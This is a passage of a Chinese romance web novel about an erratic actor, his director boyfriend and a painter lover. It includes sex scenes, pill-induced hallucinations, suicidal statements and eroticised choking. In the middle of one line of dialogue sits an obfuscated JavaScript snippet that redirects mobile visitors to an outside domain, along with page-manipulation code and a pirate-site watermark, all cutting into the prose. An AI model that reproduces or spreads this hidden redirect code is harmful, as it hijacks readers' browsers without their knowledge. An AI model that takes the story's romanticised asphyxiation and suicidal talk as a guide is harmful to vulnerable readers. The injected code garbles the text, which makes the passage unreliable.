巫南慢条斯理的打开车窗,晚夏燥热的风滚进这片空间里,“说很崇拜我,说他从没有跟人上过床,希望我给他一个机会。” 巫南伸手,抚住姜瑰的手:“他有的你都没有了,瑰瑰。” “你还能用什么来换呢?” 夜色缱绻。 姜瑰看到巫南看过来的目光——幽深浓烈,带着逼仄。 他突然想起两人第一次见面。 那时候既不怕死,胆子也大,他能从饭局上硬跟着巫南回家,然后毫不顾忌的勾引他。 两年了。 姜瑰被巫南抱起来,跨过档把,坐在男人身上。 “你想我用什么换呢?” 姜瑰问。 “官宣。” 巫南掐着姜瑰的腰,手却从针织衫的开口摩挲进去,一下又一下碰着他后腰的一片皮肤。 他的声音沙哑又性感:“瑰瑰,我们打个情侣刺青,然后官宣吧。好不好?” “官宣以后,你就是我永远的男主角。” * 姜瑰着实不知道姜佩玉所说的巫南在国外留学那些年都在学些什么。 是正经学习吗? 不了解。 但巫南那双除了会掌镜的手那刺青针也格外好看。 床头的灯光昏黄。 半伏着身的纤细腰身轻轻颤抖,又被另一只有力的手骨强势按下,压回靠枕上。 巫南没用机器,每一针下去,都有新鲜的血珠渗出来。 “痛……” 姜瑰抓握床栏的手攥得越来越紧,连骨节都泛出青白来。 额角一滴又一滴的汗顺着他线条极好的侧脸落下来,似是疼得急了,他微微张了嘴,艳红的舌尖吐出来,短促的吸了口气。 而就在这时。 巫南伸手自后拉起他的腰,温柔无比的占据了他。 很重。 姜瑰连手都抓不稳了,指尖滑下来,落进巫南的手掌心。 男人餍足的语气轻柔又带哄:“乖乖,疼还是爽?” 姜瑰将脸伏进双臂,没有回答。 巫南自然不满足,一定要一个答案:“瑰瑰,小玫瑰,要疼,还是要爽?” “……要疼。” 姜瑰扬起修长的脖颈,像只引颈自戮的天鹅,“疼,疼一点。” “坏瑰瑰。” 巫南评价。 姜瑰被男人抱进怀里吻了又吻。 疼痛漫长而无边际,仿佛意识无限周游。 巫南刺完了最后一针,鲜血淋漓的伤口印出一个绝妙的形状。 他小心翼翼的擦净上面的血,然后拿出手机,对自己和姜瑰相同的位置拍照。 然后将照片拿给姜瑰。 “看,瑰瑰,我们是不是很般配。” 姜瑰这才发现巫南身上的刺青竟然是早已经刺成的,伤口已经长好,是一朵荆棘玫瑰的形状。 荆棘丛延伸的枝丫上,刻了一个手写体的J。 而自己腰侧的形状亦是同样。 只不过手写体换成了W。 巫南吻了吻姜瑰的唇:“后面就不疼了,睡一觉吧,醒来就好了。” * 凌晨三点。 巫南个人号的官宣震荡了沉寂许久的圈子。 巫南:#图片#家有固定男主角了,周知。@姜瑰 这个世界上总有那么一部分人热爱通宵并总能吃到第一手新鲜的瓜。 尤其是在活人量极少的内娱,吃瓜群众几乎从未见过敢自己爆料自己的同性恋人。 更何况那还是巫南。 是最年少成名,最年轻的名导,这个圈子里最风头无两的巫南。 没有一个艺人不想去演他的戏,因为只要进了他的组,就离拿奖只有一步之遥。 而他却给自己选了个声名狼藉的伴侣。 虽然是最新晋的顶流,但姜瑰从出道开始就口碑不好。 狗仔们拍到过他耍大牌,拍过他逛夜店喝醉,拍过他各种各样的不务正业,就连他的业务能力也只是平平无奇。 他红得莫名其妙,又红得无法无天。 现在,这一切似乎都有了解释。 无数粉丝涌进评论区开始苦口婆心规劝巫南回头是岸谈个别人,也有更多粉丝开始攻击姜瑰不要脸靠睡上位,诅咒姜瑰有一天变丑被抛弃。 这句诅咒深深伤害了姜瑰的颜粉。 要知道姜瑰所有的粉丝几乎都是吃他的脸,瞬间破防开始回击。 于是粉圈大战开始,从凌晨一直打到第二天姜瑰醒来。 刺青的位置已经消肿上了色。 姜瑰对着镜子照了照,不甚在意的套上针织衫,溜出卧室。 巫南在做早餐,阳光洒在他身上,显得温暖。 可惜姜瑰坐在另一头,没感染到温暖的形状。 他拿起手机翻了翻网上的粉圈大战,百无聊赖的丢开,支着下巴看向巫南:“他们都骂你瞎了眼。” 巫南将咖啡端给姜瑰:“跟他们有什么关系,我爱你。” 姜瑰喝完了咖啡。 巫南问:“今天想去做什么?” “挣钱。” “宝贝,你挣得还不够多吗?天天都工作了。” 姜瑰摇头:“不够。” 巫南过来亲了亲姜瑰额头:“你到底要那么多钱干什么,需要多少,我给你好了。” “烧着玩吧。” 姜瑰站起来,“今天我得去公司,你呢?” “在家等你咯。” 巫南半靠在桌上,“晚上想吃什么?” 姜瑰摇头:“不知道公司会不会安排工作。” “好吧,那我也去拍摄好了。有个人情往来,明天我去接你,一起吃晚餐?” “嗯啊。” 姜瑰侧过头,“你在笑什么?” “笑这个。” 巫南将手机上的信息拿给姜瑰看,正是季淮新发来的一条微信。 ——巫导,衣服我已经洗好了,可以给您送去您家吗? 巫南问姜瑰:“你说我让不让他来?” 姜瑰眼里的怠惰和无趣像是卸了妆的假面,连最后一丝掩盖都不屑:“随便。” “姜瑰!” 巫南到底是装不住了,“你什么态度?” 姜瑰整好了衣服,站在镜前怔怔看了自己半晌,才挤出一个笑容。 他仿佛重新拿出服务态度的侍应生,游走回巫南身边,扑进他的怀里,热烈的抱住他:“我有起床气,你知道的呀,哥哥。” 比怀里的人先抱过来的,是姜瑰身上的香气。 盈在鼻尖的香意让巫南一退再退,最终开口:“姜瑰,你们公司每个新人都比你乖,你听话一点,嗯?” “嗯嗯。” 姜瑰主动给了巫南一个吻,“爱你,明天见,哥哥。” * 其实今天他既不去公司,也没有工作。 姜瑰换了身衣服,戴着帽子和墨镜坐在姜氏坐落于CBD的写字楼旁边的小花园里,看着那栋高高的楼。 他看了很久很久,久到那栋楼变成一只怪兽,张牙舞爪的张开大口朝他扑来,尖哮着要吃它。 姜瑰吃了颗药,那栋楼还是怪模怪样。 他只能又吃了一颗。 于是那栋楼终于勉强变回了一栋楼的模样,只不过窗户里伸出各种各样奇怪的手脚,在悬空着晃来晃去。 姜瑰想,他恐怕开不了车了。 好在他之前包了个很称职的小画家,这时候关键性的派上用场。 姜瑰抖着手发了个地址,让虞亭至来这里接他。 虞亭至很快到了。 他绕过白领们端着咖啡来回穿梭的连廊,顶着灼热的太阳,找到了盘腿坐在花丛里奇形怪状的姜瑰:“你在干什么?” “看怪兽。” 姜瑰有点得意的答,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141165|179940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看不着。” 虞亭至:“……” 虞亭至蹲下来,掰过姜瑰那张漂亮的脸:“你看着我。” 姜瑰的眼睛里投射出虞亭至完整的神情,可眼底却仍然显得空旷,像被雨淋过的原野。 虞亭至问:“你在想什么?” “我想死。” 姜瑰说。 虞亭至沉默了许久,轻声问:“除了这个呢?” 姜瑰也轻声的答:“我想把怪兽烧了,然后再死,好幸福。” 虞亭至不再说话。 他在姜瑰身边坐下来。 顺着姜瑰的眼底望去,看到内里的向往和绝望。 “姜瑰,不看这个了。” 虞亭至伸手牵了身边人的手,“我带你去看个其他的吧。” 姜瑰的眼神还粘在视线尽头不松开,一副痴迷的样子:“什么?” “真的流星雨见过没?” 虞亭至硬是把姜瑰拽起来,“刚好就在今天,去不去?” 姜瑰有点茫然的看着他。 药瓶从姜瑰手里调出来落在草地里,虞亭至伸手捡起来,不着痕迹的塞进自己的衣兜里。 虞亭至单手将姜瑰抱起来,扛在了右肩上。 姜瑰柔软的肚腹被虞亭至肩侧的骨骼咯得一疼,顿时清醒了几分:“喂!” “想死也应该看完流星雨再死。” 虞亭至给姜瑰系上安全带,伸手勾了下他鼻尖,“不然多遗憾,是不是?” 姜瑰:“……” 面前的所有场景终于都恢复了正常。 不再有长着手的树枝,也没有裂开嘴笑的树叶;土地不会变得高低起伏,走过的人也不会张开血盆大口。 姜瑰没有接受,也没有拒绝。 他懒散的靠在副驾驶上,是一个难得清闲的姿势:“要开多久?” “先上绕城,然后出远郊,在隔壁市。” 虞亭至回答干脆,“困的话可以先睡会儿。” 姜瑰看着窗外,好一会儿:“我不知道刚刚跟你说了什么,你当做没听到就行。” “嗯。” A市的夜来得总是偏早。 隔壁市也不例外。 盘山公路上除了姜瑰的座驾,还堵满各种各样的私家车。 姜瑰倒是没恼,有些好奇的趴在车上,很新奇的样子:“虞亭至,你确定我们挤得过这些人吗?” “不用跟他们挤,我有个朋友专门做流星雨观测的,就在前面。” 虞亭至打方向盘驶出车流,转进一个院子里。 院子简约。 白墙红瓦,中间搭了张粗绳吊床,旁边放着画板,上面是涂抹了一半的风景油画。 姜瑰跟在他身后探头探脑:“老板呢?” “可能不在。” 虞亭至牵着姜瑰的手走近院里,喊了几声见没人回应,便熟练的自行开了油灯,生了院里的炉子,“山上夜里凉,过来烤着。” “哦。” 姜瑰老老实实过去了。 房子还是平房,二进的小院。 虞亭至在炉子上架了壶热水,进进出出,没一会儿就搭好了观测台,又连着换了好几个望远镜镜头,调整焦距。 “来。” 虞亭至朝姜瑰招招手。 姜瑰蹦蹦跳跳过去了:“干啥?” “站这儿,手扶着。” 虞亭至揽着姜瑰的肩,又向下压了压他的脑袋,“这里可以转,视野能看清吗?” 姜瑰眼巴巴的看了一会儿:“什么都没有,就天空。” 虞亭至被他逗乐了,点了下姜瑰鼻尖:“你是小孩吗?等一等,还有两分钟。” “好吧。” 姜瑰又缩缩脖子继续去瞅了。 和其他人山人海的观测点不同。 这里显得静谧。 辽远的山风抚过小院的野草,青草的芬芳夹着夏夜晚露的气息和经久不息的蝉鸣,一同倒灌进姜瑰心里。 “准备看了。” 虞亭至温和清澈的声音在寂静中响起,“三,二,一——” 于是姜瑰的世界里开始下一场从未见过的真正的流星雨。 下的声势浩大,波澜壮阔。 瑰丽的星光带着尾巴,一颗颗的出现又坠亡。 绚烂又短暂。 虞亭至的吐息烫在姜瑰耳边:“看到了吗?” 姜瑰没回答。 他又看了许久,久到最后一课流星离去,虞亭至就站在身旁,没有开口催促。 姜瑰松开望远镜。 山间夜风真的很大。 虞亭至脱了外套给姜瑰披上,声音仿佛空谷回响,大提琴一般迷人:“是不是挺好看的?” “嗯。” 良久。 姜瑰看着虞亭至道:“你也好看。” 虞亭至一愣。 姜瑰歪歪头,弯起嘴角:“虞亭至,你是我到现在为止,最喜欢的人了。” 可惜。 他的时差已经太晚了。 11、第十一章 第十一章 像姜瑰这样直接又突兀的表达到底是少数,虞亭至愣了片刻。 流星雨的时刻也终归只有那么片刻。 姜瑰眼神里似乎有点不舍,他怔怔的看了一会儿重新变成昏色的天空,长长叹了口气。 “还有下次的。” 虞亭至突然道。 姜瑰:“嗯?” 虞亭至抬头:“今年很幸运,是流星雨最多的年份之一,十月底还会有一场,我再带你来。” 姜瑰没回答,弯着眼睛笑起来:“你给我好好画幅画行不?” 姜瑰松松散散坐下来,翘起个二郎腿,指指点点:“这有画板,记得把我的美貌画出来。” 虞亭至:“……” 姜瑰支着下巴:“别那么不乐意嘛,我给你钱。” “不用钱。” 虞亭至道,“我没不乐意。” “那你快点画。” “……等一等。” 虞亭至回去屋里翻找半天,找出以前他还是学生时代用过的一套笔,又找出压箱底半干不干的颜料。 纠结许久:“姜瑰,我回去再给你画吧?” “明天我进组了。” 姜瑰晃着腿,“快点。” 这个人永远任性。 虞亭至只得把画架最上的那张半成品油画撤了,重新铺上新的画纸。 山上潮湿,画纸放了许久,没以前光滑,笔触浸润度也难以捉摸。 小院昏黄色的石头壁灯和铁丝网的挂灯被山风吹得一摆一摇,院墙上攀爬苔藓,远处是一轮苍白的月亮。 姜瑰的脸就在凄惶的月色中皎洁。 就像他第一次遥遥从人群外看到姜瑰那样——那样出众,不同,分外漂亮。 他在原地等了很久,终于等到姜瑰主动上钩。 姜瑰勾唇对他笑,眼里却是冷的,像一副古旧城堡里阴郁的油画,被井水浸泡后渗开点点的污渍。 虞亭至对摇椅上的人招招手:“好了。” “这么快哇?” 姜瑰蹦蹦跳跳从扶手上起来,有点期待的朝画上看过去。 画上是寂静的夜色,飘荡的风,如星的灯火。 姜瑰不可置信的伸手指指自己:“……我呢?” 虞亭至碰了碰他微凉的鼻尖:“那是另外的价钱。” 姜瑰愤怒极了:“你是黑心商贩吧?我给你车给你钱还给你住,你画画不带主角吗?!” 虞亭至将那张画取下来铺好,回头牵了姜瑰的手:“回去给你补上。” 姜瑰不依不饶的被牵走了:“就不能现在补吗?” “颜料不好。” 虞亭至停步,回身,低头,凑近姜瑰眼睛,轻声笑了,“画不出玫瑰的美貌,怎么办?” 姜瑰:“……” 无理也能搅三分的人鲜少能被说服。 姜瑰下意识后退半步,又被虞亭至圈住腰,拉回来:“你在花言巧语!” “我在陈述事实。” 虞亭至弯腰伺候姜瑰上了副驾,又给他系好安全带,“带你去吃宵夜,去么?” “不去。” 姜瑰坚定摇头,“我进组不能胖。” 虞亭至:“阿叔家的海鲜瘦肉粥和烧烤是一绝。” 姜瑰:“……那去吧,你记得提醒我少吃一点。” * 这摊子开在a市郊区,是个露天篷布的位置。 桌椅时间久了,有一层沁在上面的油渍。 虞亭至熟门熟路找了纸巾来擦,却发现姜瑰比谁都不讲究的早已经坐下去,戴着口罩研究起了菜单。 小店,菜单没几行。 姜瑰“唰唰”几笔全打了勾,将单子丢给虞亭至:“虾要去虾线不要葱不要蒜多放辣椒和香菜。” 虞亭至扬眉:“某人不是说要少点些吗?” 姜瑰面不改色心不跳:“这叫拉动经济,你懂不懂。” “懂。” 虞亭至送了单子回来,“姜小瑰就是全世界最会拉动经济的小能手。” 姜瑰:“……” 这个世界上似乎从没有人对姜瑰这样说过话。 姜瑰顿了一下,才哼哼两声,摘了口罩:“你知道就好。” 后半夜了。 摊子上除了虞亭至和姜瑰两人没其他客人。 老板亲自上菜,是个岁数偏大的中年人,花白头发,很忠厚老实的模样。 虞亭至跟老板看上去很熟,帮着接了碗:“李叔,你儿子今天没来帮忙?” “准备婚礼去啦!” 店老板一提这事儿乐呵呵的,“过两天娶媳妇了,我让他休息两天。” 两人聊了几句,店老板高高兴兴的又给他们这桌送了道菜,然后一瘸一拐的慢慢走回厨房里。 姜瑰这才发现:“他左腿?” “嗯,前些年救路过他们店门前一个小姑娘,算是交通意外吧。” 虞亭至给姜瑰一颗一颗的剥虾,“但是后面小姑娘家反而不愿意付医药费,听说打了官司,但也不了了之了。” 姜瑰沉默了一阵:“挺惨的。” “他心态好,也没说什么,老顾客们都照顾他生意。” 虞亭至剥完最后一颗虾,装在一个小碗里放在姜瑰面前,“我是想告诉你,没有什么事情过不去,姜瑰。” 这家店是货真价实的一家店。 新鲜的海虾在劣质白炽灯的光线下依旧如玉盈盈,光泽细嫩。 虾头的虾膏丰润鲜亮,不见缺损,可见剥虾的人不仅细心还富有极大耐心。 姜瑰扭开脸,点了支烟。 半晌开口:“你说得对。” 姜瑰拿出手机扫桌上的付款码,扫了个五位数的数字出去。 收款到账的播报声和老板匆匆忙忙站起来往过走的声音同步响起。 姜瑰站起身,目光薄淡而居高临下的看向虞亭至:“我吃饱了,你随意。” 桌上满满一桌分明丝毫未动。 而姜瑰已经转身迈开腿扬长而去。 虞亭至向老板摇头,急匆匆加快脚步追上去,哄着劝着骗着将在路边打车的姜瑰重新拉上副驾驶。 布加迪车内的灯光也改装过,是格外跳动的氛围灯。 炫目的滚色映着姜瑰的脸,显出一种似人非人的惨淡感。 两人的手交握在一起。 虞亭至分明感受到姜瑰呼吸间整个人遏制不住的颤抖——非正常的,是病态的那种颤抖。 “是我不对,姜瑰。” 虞亭至不敢松手,他调高了车内的空调,“哪不舒服?我们现在去医院,好不好?” 姜瑰唇线紧抿成一条,幽深的目光不知在看空中的什么,显出一种怪异的专注。 虞亭至将他的脸转过来,却发现姜瑰的目光还是望着远处。 那目光甚至是直勾勾的。 “姜瑰,你看到了什么?” “天狗吃月亮吧。” 许久。 姜瑰似乎才想清楚,慢慢的答。 虞亭至没有打断他:“好看吗?” 姜瑰闭了闭眼,再睁开的时候,视线移动,落在了虞亭至身上。 “掐我脖子。” 姜瑰突然道。 虞亭至怔了一下:“什么?” “像这样。” 姜瑰自己动手,像虞亭至规范的示意,“掐我。” 虞亭至:“为什么?” “你是我包的,我为什么要给你解释为什么?” 姜瑰眼底眉梢都是飞扬的艳色和乖张,有种跋扈的味道,“不掐你就给我立刻滚下去,我再找人!” “姜瑰!” 虞亭至有些生气。 姜瑰却突然眉眼一弯,连语气都软下来,乖乖巧巧的蹭了下虞亭至的脸:“掐我嘛,哥哥。最喜欢你了。” 虞亭至凶不起来了。 姜瑰的脖颈很细很细,或者说,他整个人都是不健康的瘦削。 虞亭至的一只手几乎就可以扼住他脖子的大半圈,覆盖喉结,像被捉住的小动物一般握在手心里。 姜瑰靠在副驾驶椅背上阖了阖眼,他的疲惫是每一分每一秒从骨子里渗出来的:“重一点。” 虞亭至皱眉,一言不发,手上加重了些力度。 跑车车内空间不大,车窗未开,空气显得稀薄。 而勒颈则更加重了这种稀薄。 一种薄淡而难以言喻的晕红从姜瑰皮肤深处一点点缓慢而危险的渗出,随着秒钟的滴答湿润成另一种瑰丽而恐怖的潮红,浸透那张被无数粉丝所追捧的脸。 他还要道,声音已经吐不清晰:“再……重,一……点。” 虞亭至怒道:“姜瑰!你不想活了也不要带着我!” “那吻我。” 姜瑰毫无情感的眼睛抬起对上虞亭至的视线。 “……什么?” “吻……我。” 姜瑰的声音是引颈的命令,又如同恶魔之音一般令人陷入沼泽。 车内的蓝牙不知道什么时候被两人的动作碰开。 上一次听的固定广播频道依旧还是娱乐圈内那些无聊的八卦新闻。 女主持人的声音清亮又标准。 “我们来关注娱乐消息——国际文艺片新锐导演巫南昨夜凌晨突然官宣恋情,恋爱对象正是刚刚主演过影片的男一号姜瑰,消息爆出后全网哗然,到底是自由相恋还是另有缘由……” 车内一时间死寂。 姜瑰些微向上仰头,无法呼吸的出于生理下意识张了张嘴,露出一小节柔软殷红的舌尖。 虞亭至一顿,才突然发现自己刚才不自觉加了些力。 原来是愤怒。 他猛然抬了下手,想松开这个姿势,却看到姜瑰勾唇朝自己笑起来。 “你是懦夫吗?” 姜瑰幽幽的问。 虞亭至动作停下:“姜瑰,你病了,我带你去医院。” 姜瑰却仿佛在这一瞬间厌了。 他推开虞亭至的手,也一并收回了所有情绪。 他显得倦懒,漠然,毫不关心,也冷淡异常:“你要多少钱?” 虞亭至一时间没听懂:“什么多少钱?” 姜瑰说:“我玩腻你了,多少钱。” 虞亭至被气笑了:“姜瑰,你当我是鸭吗?” “是啊。” 和刚才所有的情绪不同,除了脖颈处那道仍然存在的红痕,姜瑰仿佛只在片刻变又摇身一变回到了一个称职又合格的艺人。 漂亮,冷漠,疏离。 姜瑰点起烟,猩红色的光点跳动:“开车吧,和之前说过一样,车和房子我都给你,你再报个数字,记得媒体那边闭紧嘴。” 这或许才是姜瑰最深刻的样子。 在终于看到这一幕的时候——虞亭至发现自己竟然已经无法接受这一幕。 他豁然想起姜瑰潮红的脸,殷红的舌尖,因为缺氧窒息而无力到只能依附自己的身体。 这恶劣到死的缠绵。 “你走不走?” 姜瑰吸烟每一口都又深又猛,他几乎拥有所有不健康的生活习性,并且不知悔改。 他掐灭烟,极度不耐:“虞亭至,不走你就滚——唔……” 椅背陡然被放倒。 男人宽厚的肩膀覆上来,轻而易举遮住姜瑰的整个身形。 这个吻来的又快又急。 姜瑰手指尖的烟头火星还没彻底熄灭,在男人急切的五指相扣间,烫在画家拿笔的右手掌心里。 就像求药的人,本来那个劲儿已经过了,又被生生带着重新陷入进去。 姜瑰纤细的手臂虚空中抓了几下,无力的垂下来,碰到虞亭至线条优越的背肌和肩颈,刮出几道薄薄的痕迹。 男人的手似乎知道怎样才能让姜瑰满足,比任何人都更熟练的握住了怀中那个人几乎柔嫩的颈项。 致命又危险。 吻却是甜蜜的,像一对被祝福的恋人。 直到呼吸声越来越重,虞亭至放开姜瑰。 他的身体大抵是真的差极,只这样的动作,大颗大颗的汗已经顺着额颊扑簌簌落下来。 并不均匀的呼吸起伏艰难带动着显得瘦弱的身形,姜瑰的面色是没有血色的白,唇却被吻得肿而红。 他已经彻底没力气了。 虞亭至将人拉进自己怀里,两人挤在超跑狭小的副驾驶空间里,交颈拥抱。 烟疤的烫伤在画家手上留出印记,淡淡渗出几丝血痕来。 虞亭至并不在意,他无比耐心的擦去姜瑰脸上身上的汗,抱着人在即将天光乍现的a市近郊小声说话。 这是最普普通通的居民区清晨的一天。 这辆布加迪贴了窗膜,外面无法窥见内里有没有人,有几个小孩子兴致勃勃的在窗外和酷炫的跑车合影。 “瑰瑰。” 虞亭至亲了亲姜瑰的额头。 闹完这一宿,姜瑰已经有些困了,他颇乖的窝在虞亭至怀里:“嗯?” “你和巫南分手,好不好?” 姜瑰清醒过来,睁开眼,清亮干净的眼睛里倒映出虞亭至的身影:“不好。” 虞亭至愣了愣,像是一时间竟没反应过来这个回答:“……为什么?” 姜瑰“噗嗤”一声笑了。 他从虞亭至怀里翻身起来。 手撑在男人身边,自上而下对上虞亭至的视线:“因为我要钱呀,亲爱的小画家。” 姜瑰点了点虞亭至的喉结,悠然道:“巫南能让我挣很多钱,你呢?” 彻骨的冰寒将虞亭至冻在原地。 良久。 他竟然听到自己开口问:“你想要多少钱?” “很多很多亿吧。” 姜瑰说不清,“姜家那栋写字楼多少钱,我就要多少钱。” 虞亭至看着姜瑰,半晌没有说话。 可惜姜瑰这人从来不知羞耻与悔改。 他凑过来亲了虞亭至侧脸一下:“为什么要多此一举呢?我给你出钱支持你的小画家梦想不好吗?” 姜瑰的唇柔软却带着凉意,像刀口划在虞亭至的骨缝里。 “我们就偷偷的,不好吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 12、第十二章 第十二章 虞亭至开车,直到家里两人都没说话。 直到开门亮灯。 姜瑰踮起脚凑近虞亭至跟前:“还生气呀?” 虞亭至反手拉上门,沉默片刻,问道:“你明天进谁的组?” “呃……” 姜瑰犹豫了下。 虞亭至了然:“巫南的?” 姜瑰伸手搂上虞亭至的腰,扬起脸蹭他:“贺岁戏嘛,不出意外是上明年的春节档,我要分账的。” 虞亭至:“能赚多少?” 姜瑰:“……要看票房啦。” “所以你才扒着巫南带你赚钱?” 虞亭至低头看过来,“姜瑰,你倒是很信任他的导演水平。这么笃定他不会爆冷。” 姜瑰:“……” 姜瑰小小声的反驳:“他没有爆冷过诶。” 画家又被活生生气笑了。 他张了张嘴,又忍住,换了话题:“男几,你要拍多久?” “肯定男一呀。” 姜瑰踢掉脚上的鞋,踩好拖鞋,啪嗒啪嗒进了屋,“快的话三个月?慢的话就四五个月。” “姜瑰,现在已经九月了。” “哎呀……” 姜瑰整个人往沙发上一滩,不接话了。 他既不否认自己的恶劣,也不否认自己的渣,他只是逃避,又用可爱和乖巧试图掩盖自己的错误。 虞亭至看到自己和姜瑰摆放在一起的鞋,大码小码,显得亲昵又和谐。 这间屋子自从有了另一位住客后其实多了许多生活气息,原本姜瑰常年在外,几乎很少回这里。 但现在桌上有了情侣水杯,他们穿着情侣拖鞋,冰箱里有新鲜的蔬菜水果,还多了咖啡萃取液和专门布置的水吧台。 虞亭至洗手换了睡衣,倒了杯温热的柠檬蜂蜜水,放在姜瑰面前。 “爱你。” 姜瑰葱白的手指灵动的勾上来,从拖鞋里钻出来的脚没穿袜子,脚趾的关节都透着淡粉色。 那双脚有一搭没一搭的擦着虞亭至的睡衣,然后停在他的小腹上。 虞亭至动作顿一下,吸了口气:“不要招我。” 姜瑰嘻嘻哈哈的笑起来,乐得在沙发上打了个滚,滚进虞亭至怀里:“老公。” 虞亭至整个人一僵:“别乱叫。” 姜瑰伸手攀上虞亭至的肩膀,声音骄纵:“没乱叫啊,我从来没叫过别人这个的,不愿意听我换一个?” 虞亭至:“……” 怀里的人身形格外单薄,歪在身上的时候竟然感受不到多少重量,像一副空荡荡的骨头架子。 虞亭至按住姜瑰不老实的手:“起来,我帮你收拾行李。” 姜瑰直直望着他,像是愣了一下。 其实并没有什么行李可收拾。 他活到这么大一直不断在告别和离开,每一段经历都告诉他,行李是个拖累。 他每次出门,除了随手带的包,从没有过行李。 衣服除了品牌方提供外他会现买现丢,妆造由化妆师负责,除此以外所有生活用品他没有任何挑剔和讲究,给什么用什么。 就像是随便可以离开这里去到远方。 这个习惯从他进圈就伴他左右,因此没人会多此一举再来帮姜瑰收拾行李。 但此刻。 姜瑰坐在沙发上,盘着腿看虞亭至在房间里来来回回的给他收拾这收拾那儿。 家里只有一个曾经上学时用过的行李箱,很小,登机箱尺寸。 虞亭至却很神奇的在里面装进了换洗衣物,洗漱包,内衣裤袜,保健品创可贴,甚至还放下了两双鞋。 “哇塞。” 姜瑰叹为观止。 虞亭至又在边缘放了个密封袋,问姜瑰:“你的药要装吗?” 姜瑰神色变了变,最后没否认:“不,我一般带在身上。” 虞亭至从兜里取出姜瑰那瓶药:“你今天就把它掉在了外面。” 姜瑰:“……” 姜瑰磨牙:“那你塞进去吧,塞好一点哦,被发现了我就鲨掉你。” 虞亭至大概的确有非同寻常的收纳能力,把整理完美的行李箱搬过来给姜瑰展示的时候,获得了一整个大震惊。 姜瑰海豹鼓掌:“好牛,老公,超喜欢你。” 任何人都能听出来这夸奖的不走心,但听的人却还是忍不住会动心。 虞亭至有时候觉得自己可能着了魔:“等你公司助理来的时候,我跟他再交代下细节。” “助理?” 姜瑰念叨。 虞亭至:“你们公司没有给你派助理吗?” “有的吧。” 姜瑰思索好一会儿,又翻开手机查通讯录,“不过上次域叶给我派的助理找不到联系方式了,我好久没出门了。” “域叶?” “对啊。” 虞亭至转过头,压了下声音,才问:“你的经纪约在域叶?” “你为什么反复问啊?” 姜瑰半天找不到助理已经开始烦了。 他早已经被人惯坏了,一烦就翻脸,一烦就小发或者大发雷霆。 “我签域叶很奇怪吗?是我比不上公司里一哥一姐吗?” 姜瑰翻手机并开始生气,“我每年挣公司第一诶搞搞清楚,知道第一是什么含金量……” 虞亭至点了点他的唇:“知道,别担心。” 姜瑰皱眉,拍开他的手。 “先休息吧。” 虞亭至直接把姜瑰横抱起来进了卧室,放在大床上,“我朋友就是你们域叶的管理层,我问问,明天直接让你经纪人带着助理过来接你。” 晕黄的夜灯下。 姜瑰眼睛圆溜溜的:“真的假的,你这么厉害吗?” 虞亭至看了半晌,到底没忍住,亲了亲他的眼睛:“不骗你,睡吧。” 给姜瑰掖好被角,空调放好温度。 虞亭至转身要出卧室,却被姜瑰从被子里伸出的手拉住了。 他从没有见过姜瑰这种犹豫的表情,竟像是有几分艰涩的味道。 “怎么。” 虞亭至柔柔俯身,“睡不着吗?” 姜瑰只握着男人的小指,他在被窝里看了好半晌,才细声问:“虞亭至,你能给我念个故事吗?” “嗯?” 姜瑰刚才的那一点勇气却已经用光了。 他松开手,也别开脸:“当我没说,算了,晚……” “可以。” 虞亭至道。 姜瑰的脑袋一秒钟内转了回来,鸦羽般的睫毛上下翻飞几下,眸光亮晶晶的。 虞亭至:“你想听什么?” 姜瑰顿了顿才道:“随便……啊不是,都行。” 虞亭至牵住姜瑰的手,温热的体温顺着掌心向体温偏凉的那一方传递。 “有些流传下来的画作上面画的就是一些古希腊神话故事。” 虞亭至的声音是很清和的青年音,轻而不腻,“很多作品被保存在欧洲那边的博物馆,我给你讲《宙斯和少女》这一幅吧。” 姜瑰乖乖巧巧的点点头。 暖色的灯光笼罩着他,坏透了的人身上竟无端有几分纯良又天真的模样。 “在古希腊的神话世界里,有一位主神,名叫宙斯。他负责掌管许多重大事物,有一天……” 姜瑰睡着了。 他连睡着后的模样都迷人,阖着眼,像是精致绝伦的艺术品。 虞亭至伸手将滑落下来的几丝碎发别在姜瑰耳后,收回手时却见被姜瑰扔在床头灯旁的手机在震动。 是个来电。 原本不想看也不想管的,虞亭至等了有一阵,那手机却像是发了疯似的毫不停下。 旁边的姜瑰好不容易才睡着。 虞亭至最终还是将手机翻转拿了过来,看清上面的来电人。 没特殊备注,就是简单的名字。 巫南。 有时候人真的很难解释自己某一瞬间的举动,或许就像是心中的魔鬼永远蠢蠢欲动,叫嚣着逃出牢笼。 虞亭至接了电话:“你好。” 空气安静。 过了数秒。 巫南倨傲的声音传来:“你是谁?为什么拿着他手机?” 虞亭至看着姜瑰沉静的睡颜:“你觉得我是谁?” 魔鬼一旦出笼,就再难禁锢回去。 如同心里不确定的种子和怀疑,日日撕咬折磨,在爱恨间生根发芽。 巫南清傲的语气里有种近乎恶毒的歇斯底里:“我警告你,现在,立刻!把电话给他!” “为什么呢?” 虞亭至平和而一字一句的应道,“巫导,太晚了,他睡了。” 虞亭至停顿一下,才又缓缓道:“你打电话都不看时间的吗?” “你到底是谁?!” 不再管电话那边巫南的语气,虞亭至挂了电话。 他伸手摸了摸姜瑰的脸,柔软的,温热的。 在此时此刻,独属于他的。 男人原来真的是猎食性动物。 虞亭至有些无奈的笑了笑,低头亲了亲姜瑰的额头。 “算了。” 他想。 虞亭至从另一边拿过自己的手机,找到聊天框中的一个名字,打字输入。 “妈,我同意回家。” 他想了想,补上一句,“我要去域叶。” 夜深。 另一边没立刻回复。 虞亭至又翻出另一个对话框:“你帮我让可靠的精算师捕一下姜氏的数据。” 这个倒是秒回:“姜氏?那个快破产的姜家?你问这干什么。” 虞亭至回了个“。” 那边“啧”了声:“行吧知道了,明早给你准确数据。放心!” 虞亭至不知道自己该不该放心。 但他觉得自己可能彻底疯了。 * 进新组这天是个非常封建的黄道吉日。 没办法,圈子都信这个。 